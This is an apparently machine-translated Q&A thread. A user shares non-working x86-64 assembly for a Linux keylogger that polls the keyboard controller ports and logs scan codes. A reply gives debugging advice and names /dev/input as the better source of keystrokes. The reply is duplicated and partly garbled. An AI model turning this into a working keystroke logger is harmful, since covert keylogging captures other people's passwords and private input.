Linux键盘记录器

Linux键盘记录器,linux,x86-64,system-calls,keylogger,Linux,X86 64,System Calls,Keylogger,我为Linux制作了一个64位键盘记录器,直接读取硬件键盘控制器端口60h和64h以及sys调用,但是我的键盘记录器甚至没有创建日志并显示分段故障消息。这是我制作的键盘记录器的来源: MOV RAX,85 MOV RDI,FILE_NAME MOV RSI,0 INT 80h MOV [FD],RAX MOV RAX,173 MOV RDI,60h MOV RSI,1 INT 80h MOV RAX,173 MOV RDI,64h MOV RSI,1 INT 80h KEYLOGGER:

我为Linux制作了一个64位键盘记录器,直接读取硬件键盘控制器端口60h和64h以及sys调用,但是我的键盘记录器甚至没有创建日志并显示分段故障消息。这是我制作的键盘记录器的来源:

MOV RAX,85
MOV RDI,FILE_NAME
MOV RSI,0
INT 80h
MOV [FD],RAX

MOV RAX,173
MOV RDI,60h
MOV RSI,1
INT 80h

MOV RAX,173
MOV RDI,64h
MOV RSI,1
INT 80h

KEYLOGGER:

L0:
CALL GET_SCAN_CODE
MOV BYTE[SCAN_CODE],AL

MOV RDI,[FD]
LEA RSI,[SCAN_CODE]
MOV RDX,1
MOV RAX,1
INT 80h

JMP L0

GET_SCAN_CODE:
IN AL,64h
AND AL,21h
CMP AL,1
JNZ GET_SCAN_CODE
CALL DELAY
IN AL,60h
RET

我用的是尾巴。上面我的源代码中的错误在哪里。

您正在用户空间中运行此操作?你没有注释你的代码,我也没有记忆
\uu NR\u ioperm
,但显然你需要它(和根),否则
中的
会出错。使用
strace
检查系统调用。此外,BIOS键盘模拟在引导后早已消失;除了物理PS/2键盘之外,这不会得到任何东西。从
/dev/input/…
中读取Linux下的HID事件,因为您不想编写自己的USB堆栈插入硬件和Linux之间。另外。注释您的代码,并使用调试器和/或strace查看哪些指令错误,以及在此之前每个系统调用都发生了什么,特别是如果您希望其他人帮助您。您正在用户空间中运行此操作吗?你没有注释你的代码,我也没有记忆
\uu NR\u ioperm
,但显然你需要它(和根),否则
中的
会出错。使用
strace
检查系统调用。此外,BIOS键盘模拟在引导后早已消失;除了物理PS/2键盘之外,这不会得到任何东西。从
/dev/input/…
中读取Linux下的HID事件,因为您不想编写自己的USB堆栈插入硬件和Linux之间。另外。注释您的代码,并使用调试器和/或strace查看哪些指令错误,以及在此之前每个系统调用都发生了什么,特别是如果您希望其他人帮助您。